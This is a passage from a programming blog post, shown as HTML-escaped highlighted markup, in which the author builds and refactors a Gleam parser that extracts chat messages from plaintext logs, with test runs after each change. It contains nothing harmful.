&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.last&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">echo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I run that, I get:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: Todo found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:12:11
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">12&lt;/span> │ |&amp;gt; todo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> │ ^^^^ This code is incomplete
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>This code will crash &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> it is run. Be sure to finish it before
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>running your program.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hint: I think its &lt;span style="color:#24909d">type&lt;/span> is &lt;span style="color:#ed9d13">`&lt;/span>fn(Result(String, Nil)) -&amp;gt; String&lt;span style="color:#ed9d13">`&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.24s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/plaintext_logs.gleam:11
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Ok(&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>A bit closer! I&amp;rsquo;ve extracted the last element of the list to find &lt;code>&amp;quot;hi&amp;quot;&lt;/code>, but now it&amp;rsquo;s wrapped in a &lt;a href="https://tour.gleam.run/data-types/results/">&lt;code>Result&lt;/code> type&lt;/a>.&lt;/p>
&lt;p>I can unwrap it with &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/result.html#unwrap">&lt;code>result.unwrap&lt;/code>&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.last&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>result.&lt;span style="color:#447fcf">unwrap&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Re-running &lt;code>gleam test&lt;/code> yields:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.22s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>F
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failures:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1) plaintext_logs_test.parse_simple_plaintext_log_test: module &lt;span style="color:#ed9d13">&amp;#39;plaintext_logs_test&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Values were not equal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expected: [&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> got: [&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;hey whats up&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> output:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.008 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">1&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great! That did what I wanted. I reduced the messages lines to just the contents of the messages.&lt;/p>
&lt;h2 id="filtering-out-empty-strings">Filtering out empty strings&lt;/h2>
&lt;p>The only thing that&amp;rsquo;s left is to filter the empty strings out of the list, which is straightforward enough with &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/list.html#filter">&lt;code>list.filter&lt;/code>&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse&lt;/span>(contents:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(contents,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.&lt;span style="color:#447fcf">map&lt;/span>(parse_line)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>list.&lt;span style="color:#447fcf">filter&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>(s)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666"> &lt;/span>!string.&lt;span style="color:#447fcf">is_empty&lt;/span>(s)&lt;span style="color:#666"> &lt;/span>})&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I re-run the tests:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling log_parser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.22s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running log_parser_test.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Finished in 0.007 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1&lt;/span> tests, &lt;span style="color:#3677a9">0&lt;/span> failures
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Voilà! The tests now pass!&lt;/p>
&lt;h2 id="tidying-up-string-splitting">Tidying up string splitting&lt;/h2>
&lt;p>My tests are now passing, so theoretically, I&amp;rsquo;ve achieved my initial goal.&lt;/p>
&lt;p>I could declare victory and call it a day. Or, I could refactor!&lt;/p>
&lt;p>I&amp;rsquo;ll refactor.&lt;/p>
&lt;p>I feel somewhat ashamed of my string splitting logic, as it didn&amp;rsquo;t feel like idiomatic Gleam. Can I do it without getting into result unwrapping?&lt;/p>
&lt;p>Re-reading it, I realize I can solve it with this newfangled pattern matching thing. I know that the string will split into a list with two elements, so I can create a pattern for a two-element list:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[_,&lt;span style="color:#666"> &lt;/span>message]&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>message&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That feels a little more elegant than calling &lt;code>result.last&lt;/code>.&lt;/p>
&lt;p>Can I tidy this up further? I avoided &lt;code>string.split_once&lt;/code> because the type was too confusing, but it&amp;rsquo;s probably the better option if I expect only one split, so what does that look like?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">echo&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split_once&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">todo&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To inspect the data, I run my test again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam &lt;span style="color:#24909d">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[...]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/plaintext_logs.gleam:9
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Ok(&lt;span style="color:#999;font-style:italic">#(&amp;#34;[18:44] Jane&amp;#34;, &amp;#34;hi&amp;#34;))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, that doesn&amp;rsquo;t look as scary as I thought. Even though my first instinct is to unwrap the error and access the last element in the tuple (which actually is easy for tuples, just not lists), I know at this point that there&amp;rsquo;s probably a pattern-matchy way. And there is:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_line&lt;/span>(line:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Start&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Session Close&amp;#34;&lt;/span>&lt;span style="color:#666"> &lt;/span>&amp;lt;&amp;gt;&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>line&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">case&lt;/span>&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">split_once&lt;/span>(line,&lt;span style="color:#666"> &lt;/span>on:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;: &amp;#34;&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Ok&lt;/span>(#(_,&lt;span style="color:#666"> &lt;/span>message))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>message&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>_&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>Ok(#(_, message))&lt;/code> pattern will match a successful result from &lt;code>split_once&lt;/code>, which is a two-tuple of &lt;code>String&lt;/code> wrapped in an &lt;code>Ok&lt;/code> result. The other &lt;code>case&lt;/code> option is the catchall that returns an empty string.&lt;/p>
&lt;h2 id="getting-rid-of-the-empty-string-hack">Getting rid of the empty string hack&lt;/h2>
&lt;p>One of the compelling features of Gleam for me is its static typing, so it feels hacky that I&amp;rsquo;m abusing the empty string to represent a lack of message on a particular line. Can I use the type system instead of using empty strings as sentinel values?&lt;/p>
&lt;p>The pattern in Gleam for indicating that something might fail but the failure isn&amp;rsquo;t necessarily an error is &lt;code>Result(&amp;lt;type&amp;gt;, Nil)&lt;/code>, so let me try to rewrite it that way:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/list&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/result&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/string&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
